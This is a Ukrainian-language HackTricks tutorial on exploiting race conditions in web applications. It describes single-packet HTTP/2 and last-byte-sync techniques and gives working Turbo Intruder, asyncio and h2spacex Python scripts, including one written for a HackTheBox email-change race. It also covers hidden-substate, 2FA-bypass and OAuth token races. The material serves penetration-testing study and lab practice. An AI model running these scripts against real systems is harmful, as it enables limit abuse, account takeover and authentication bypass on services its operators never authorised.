# Умова гонки
\ Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition), щоб легко створювати та **автоматизувати робочі процеси**, що працюють на основі **найсучасніших** інструментів спільноти.\ Отримайте доступ сьогодні: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %} {% hint style="success" %} Вивчайте та практикуйте Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Вивчайте та практикуйте Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Підтримайте HackTricks * Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! * **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
{% endhint %} {% hint style="warning" %} Для отримання глибокого розуміння цієї техніки перевірте оригінальний звіт за адресою [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) {% endhint %} ## Покращення атак на умови гонки Основною перешкодою для використання умов гонки є забезпечення одночасної обробки кількох запитів з **дуже незначною різницею в їх часі обробки — ідеально, менше 1 мс**. Тут ви можете знайти деякі техніки для синхронізації запитів: #### HTTP/2 Однопакетна атака проти HTTP/1.1 Синхронізація останнього байта * **HTTP/2**: Підтримує надсилання двох запитів через одне TCP-з'єднання, зменшуючи вплив мережевого джиттера. Однак через варіації на стороні сервера два запити можуть бути недостатніми для послідовної експлуатації умови гонки. * **HTTP/1.1 'Синхронізація останнього байта'**: Дозволяє попередньо надсилати більшість частин 20-30 запитів, утримуючи невеликий фрагмент, який потім надсилається разом, досягаючи одночасного прибуття на сервер. **Підготовка до синхронізації останнього байта** включає: 1. Надсилання заголовків та даних тіла без останнього байта без завершення потоку. 2. Пауза на 100 мс після початкового надсилання. 3. Вимкнення TCP\_NODELAY для використання алгоритму Нейгла для пакетування фінальних кадрів. 4. Пінг для розігріву з'єднання. Наступне надсилання утримуваних кадрів має призвести до їх прибуття в одному пакеті, що можна перевірити за допомогою Wireshark. Цей метод не застосовується до статичних файлів, які зазвичай не беруть участі в атаках RC. ### Адаптація до архітектури сервера Розуміння архітектури цілі важливе. Фронтальні сервери можуть по-різному маршрутизувати запити, що впливає на час. Попереднє розігрівання з'єднання на стороні сервера через незначні запити може нормалізувати час запитів. #### Обробка блокування на основі сесій Фреймворки, такі як обробник сесій PHP, серіалізують запити за сесією, потенційно приховуючи вразливості. Використання різних токенів сесії для кожного запиту може обійти цю проблему. #### Подолання обмежень швидкості або ресурсів Якщо розігрів з'єднання неефективний, навмисне викликання затримок обмежень швидкості або ресурсів веб-серверів через потік фальшивих запитів може полегшити однопакетну атаку, викликавши затримку на стороні сервера, що сприяє умовам гонки. ## Приклади атак * **Tubo Intruder - однопакетна атака HTTP2 (1 кінцева точка)**: Ви можете надіслати запит до **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), ви можете змінити в запиті значення, яке хочете зламати для **`%s`**, як у `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`, а потім вибрати **`examples/race-single-packer-attack.py`** з випадаючого списку:
Якщо ви збираєтеся **надіслати різні значення**, ви можете змінити код на цей, який використовує словник з буфера обміну: ```python passwords = wordlists.clipboard for password in passwords: engine.queue(target.req, password, gate='race1') ``` {% hint style="warning" %} Якщо веб не підтримує HTTP2 (тільки HTTP1.1), використовуйте `Engine.THREADED` або `Engine.BURP` замість `Engine.BURP2`. {% endhint %} * **Tubo Intruder - HTTP2 атака з одного пакета (Кілька кінцевих точок)**: У випадку, якщо вам потрібно надіслати запит до 1 кінцевої точки, а потім кілька до інших кінцевих точок, щоб активувати RCE, ви можете змінити скрипт `race-single-packet-attack.py` на щось таке: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2 ) # Hardcode the second request for the RC confirmationReq = '''POST /confirm?token[]= HTTP/2 Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU Content-Length: 0 ''' # For each attempt (20 in total) send 50 confirmation requests. for attempt in range(20): currentAttempt = str(attempt) username = 'aUser' + currentAttempt # queue a single registration request engine.queue(target.req, username, gate=currentAttempt) # queue 50 confirmation requests - note that this will probably sent in two separate packets for i in range(50): engine.queue(confirmationReq, gate=currentAttempt) # send all the queued requests for this attempt engine.openGate(currentAttempt) ``` * Він також доступний у **Repeater** через нову опцію '**Відправити групу паралельно**' у Burp Suite. * Для **limit-overrun** ви можете просто додати **той самий запит 50 разів** у групу. * Для **connection warming** ви можете **додати** на **початку** **групи** кілька **запитів** до деякої нестатичної частини веб-сервера. * Для **delaying** процесу **між** обробкою **одного запиту та іншого** в 2 підстанах, ви можете **додати додаткові запити між** обома запитами. * Для **multi-endpoint** RC ви можете почати надсилати **запит**, який **перейде в прихований стан**, а потім **50 запитів** одразу після нього, які **використовують прихований стан**.
* **Автоматизований скрипт на python**: Мета цього скрипта полягає в тому, щоб змінити електронну пошту користувача, постійно перевіряючи її, поки токен підтвердження нової електронної пошти не надійде на останню електронну пошту (це пов'язано з тим, що в коді спостерігалася RC, де було можливо змінити електронну пошту, але підтвердження надсилалося на стару, оскільки змінна, що вказує на електронну пошту, вже була заповнена першою).\ Коли слово "objetivo" знаходиться в отриманих електронних листах, ми знаємо, що отримали токен підтвердження зміненої електронної пошти, і ми закінчуємо атаку. ```python # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # Script from victor to solve a HTB challenge from h2spacex import H2OnTlsConnection from time import sleep from h2spacex import h2_frames import requests cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg" # change these headers headersObjetivo= """accept: */* content-type: application/x-www-form-urlencoded Cookie: """+cookie+""" Content-Length: 112 """ bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827' headersVerification= """Content-Length: 1 Cookie: """+cookie+""" """ CSRF="42a08872-610a-4965-9553-22d7b3aa1827" host = "94.237.56.46" puerto =39697 url = "https://"+host+":"+str(puerto)+"/email/" response = requests.get(url, verify=False) while "objetivo" not in response.text: urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/" responseDeleteMails = requests.get(urlDeleteMails, verify=False) #print(response.text) # change this host name to new generated one Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" } data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile" responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False) print(responseReset.status_code) h2_conn = H2OnTlsConnection( hostname=host, port_number=puerto ) h2_conn.setup_connection() try_num = 100 stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num) all_headers_frames = [] # all headers frame + data frames which have not the last byte all_data_frames = [] # all data frames which contain the last byte for i in range(0, try_num): last_data_frame_with_last_byte='' if i == try_num/2: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501 method='POST', headers_string=headersObjetivo, scheme='https', stream_id=stream_ids_list[i], authority=host, body=bodyObjetivo, path='/challenge/api/profile' ) else: header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( method='GET', headers_string=headersVerification, scheme='https', stream_id=stream_ids_list[i], authority=host, body=".", path='/challenge/api/sendVerification' ) all_headers_frames.append(header_frames_without_last_byte) all_data_frames.append(last_data_frame_with_last_byte) # concatenate all headers bytes temp_headers_bytes = b'' for h in all_headers_frames: temp_headers_bytes += bytes(h) # concatenate all data frames which have last byte temp_data_bytes = b'' for d in all_data_frames: temp_data_bytes += bytes(d) h2_conn.send_bytes(temp_headers_bytes) # wait some time sleep(0.1) # send ping frame to warm up connection h2_conn.send_ping_frame() # send remaining data frames h2_conn.send_bytes(temp_data_bytes) resp = h2_conn.read_response_from_socket(_timeout=3) frame_parser = h2_frames.FrameParser(h2_connection=h2_conn) frame_parser.add_frames(resp) frame_parser.show_response_of_sent_requests() print('---') sleep(3) h2_conn.close_connection() response = requests.get(url, verify=False) ``` ### Raw BF Перед попередніми дослідженнями були деякі пейлоади, які просто намагалися надсилати пакети якомога швидше, щоб викликати RC. * **Repeater:** Перегляньте приклади з попереднього розділу. * **Intruder**: Надішліть **запит** до **Intruder**, встановіть **кількість потоків** на **30** в **меню параметрів** і виберіть як пейлоад **Null payloads** та згенеруйте **30.** * **Turbo Intruder** ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, pipeline=False ) a = ['Session=','Session=','Session='] for i in range(len(a)): engine.queue(target.req,a[i], gate='race1') # open TCP connections and send partial requests engine.start(timeout=10) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) ``` * **Python - asyncio** ```python import asyncio import httpx async def use_code(client): resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"}) return resp.text async def main(): async with httpx.AsyncClient() as client: tasks = [] for _ in range(20): #20 times tasks.append(asyncio.ensure_future(use_code(client))) # Get responses results = await asyncio.gather(*tasks, return_exceptions=True) # Print results for r in results: print(r) # Async2sync sleep await asyncio.sleep(0.5) print(results) asyncio.run(main()) ``` ## **RC Методологія** ### Ліміт-переповнення / TOCTOU Це найосновніший тип гонки, де **вразливості**, які **з'являються** в місцях, що **обмежують кількість разів, коли ви можете виконати дію**. Наприклад, використання одного й того ж коду знижки в інтернет-магазині кілька разів. Дуже простий приклад можна знайти в [**цьому звіті**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) або в [**цьому багу**](https://hackerone.com/reports/759247)**.** Існує багато варіацій такого типу атаки, включаючи: * Використання подарункової картки кілька разів * Оцінка продукту кілька разів * Виведення або переказ готівки понад залишок на рахунку * Повторне використання одного рішення CAPTCHA * Обхід обмеження швидкості проти брутфорсу ### **Сховані підстанції** Експлуатація складних гонок часто передбачає використання короткочасних можливостей для взаємодії зі схованими або **непередбаченими підстанціями машини**. Ось як підійти до цього: 1. **Визначте потенційні сховані підстанції** * Почніть з визначення кінцевих точок, які модифікують або взаємодіють з критичними даними, такими як профілі користувачів або процеси скидання паролів. Зосередьтеся на: * **Зберігання**: Віддавайте перевагу кінцевим точкам, які маніпулюють постійними даними на стороні сервера, а не тими, що обробляють дані на стороні клієнта. * **Дія**: Шукайте операції, які змінюють існуючі дані, оскільки вони більш імовірно створюють експлуатовані умови в порівнянні з тими, що додають нові дані. * **Ключування**: Успішні атаки зазвичай включають операції, що базуються на одному ідентифікаторі, наприклад, ім'я користувача або токен скидання. 2. **Проведіть початкове тестування** * Тестуйте визначені кінцеві точки з атаками гонки, спостерігаючи за будь-якими відхиленнями від очікуваних результатів. Несподівані відповіді або зміни в поведінці програми можуть сигналізувати про вразливість. 3. **Демонструйте вразливість** * Зосередьте атаку на мінімальній кількості запитів, необхідних для експлуатації вразливості, часто всього на двох. Цей етап може вимагати кількох спроб або автоматизації через точний таймінг. ### Часово чутливі атаки Точність у таймінгу запитів може виявити вразливості, особливо коли використовуються передбачувані методи, такі як мітки часу, для безпекових токенів. Наприклад, генерація токенів скидання паролів на основі міток часу може дозволити ідентичні токени для одночасних запитів. **Для експлуатації:** * Використовуйте точний таймінг, наприклад, атаку з одного пакета, щоб зробити одночасні запити на скидання пароля. Ідентичні токени вказують на вразливість. **Приклад:** * Запросіть два токени скидання пароля одночасно та порівняйте їх. Співпадіння токенів вказує на недолік у генерації токенів. **Перевірте це** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **щоб спробувати це.** ## Справи з схованими підстанціями ### Оплата та додавання елемента Перевірте це [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation), щоб дізнатися, як **оплатити** в магазині та **додати додатковий** елемент, за який **не потрібно платити**. ### Підтвердження інших електронних адрес Ідея полягає в тому, щоб **перевірити електронну адресу та змінити її на іншу одночасно**, щоб дізнатися, чи платформа перевіряє нову змінену. ### Зміна електронної адреси на 2 адреси на основі Cookie Згідно з [**цим дослідженням**](https://portswigger.net/research/smashing-the-state-machine), Gitlab був вразливий до захоплення таким чином, оскільки він міг **надіслати** **токен підтвердження електронної пошти однієї електронної адреси на іншу електронну адресу**. **Перевірте це** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **щоб спробувати це.** ### Сховані стани бази даних / Обхід підтвердження Якщо **використовуються 2 різні записи** для **додавання** **інформації** в **базу даних**, існує невеликий проміжок часу, коли **тільки перші дані були записані** в базу даних. Наприклад, при створенні користувача **ім'я користувача** та **пароль** можуть бути **записані**, а **потім токен** для підтвердження новоствореного облікового запису записується. Це означає, що протягом короткого часу **токен для підтвердження облікового запису є нульовим**. Отже, **реєстрація облікового запису та надсилання кількох запитів з порожнім токеном** (`token=` або `token[]=` або будь-яка інша варіація) для підтвердження облікового запису відразу може дозволити **підтвердити обліковий запис**, де ви не контролюєте електронну пошту. **Перевірте це** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **щоб спробувати це.** ### Обхід 2FA Наступний псевдокод вразливий до гонки, оскільки протягом дуже короткого часу **2FA не застосовується**, поки створюється сесія: ```python session['userid'] = user.userid if user.mfa_enabled: session['enforce_mfa'] = True # generate and send MFA code to user # redirect browser to MFA code entry form ``` ### OAuth2 вічна стійкість Є кілька [**постачальників OAUth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Ці сервіси дозволять вам створити додаток і аутентифікувати користувачів, яких зареєстрував постачальник. Для цього **клієнт** повинен **дозволити вашому додатку** отримати доступ до деяких їхніх даних у **постачальника OAUth**.\ Отже, до цього моменту це просто звичайний вхід через google/linkedin/github..., де вам пропонують сторінку з повідомленням: "_Додаток \ хоче отримати доступ до вашої інформації, чи хочете ви це дозволити?_" #### Умова гонки в `authorization_code` **Проблема** виникає, коли ви **приймаєте це** і автоматично надсилаєте **`authorization_code`** зловмисному додатку. Потім цей **додаток зловживає умовою гонки в сервісі OAUth, щоб згенерувати більше ніж один AT/RT** (_Токен аутентифікації/Токен оновлення_) з **`authorization_code`** для вашого облікового запису. В основному, він зловживає тим фактом, що ви прийняли додаток для доступу до ваших даних, щоб **створити кілька облікових записів**. Потім, якщо ви **припините дозволяти додатку доступ до ваших даних, одна пара AT/RT буде видалена, але інші залишаться дійсними**. #### Умова гонки в `Refresh Token` Якщо ви **отримали дійсний RT**, ви можете спробувати **зловживати ним, щоб згенерувати кілька AT/RT**, і **навіть якщо користувач скасовує дозволи** для зловмисного додатку на доступ до своїх даних, **кілька RT залишаться дійсними.** ## **УГ в WebSockets** У [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) ви можете знайти PoC на Java для надсилання вебсокетних повідомлень **паралельно**, щоб зловживати **умовами гонки також у вебсокетах**. ## Посилання * [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) * [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) * [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140) * [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) * [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}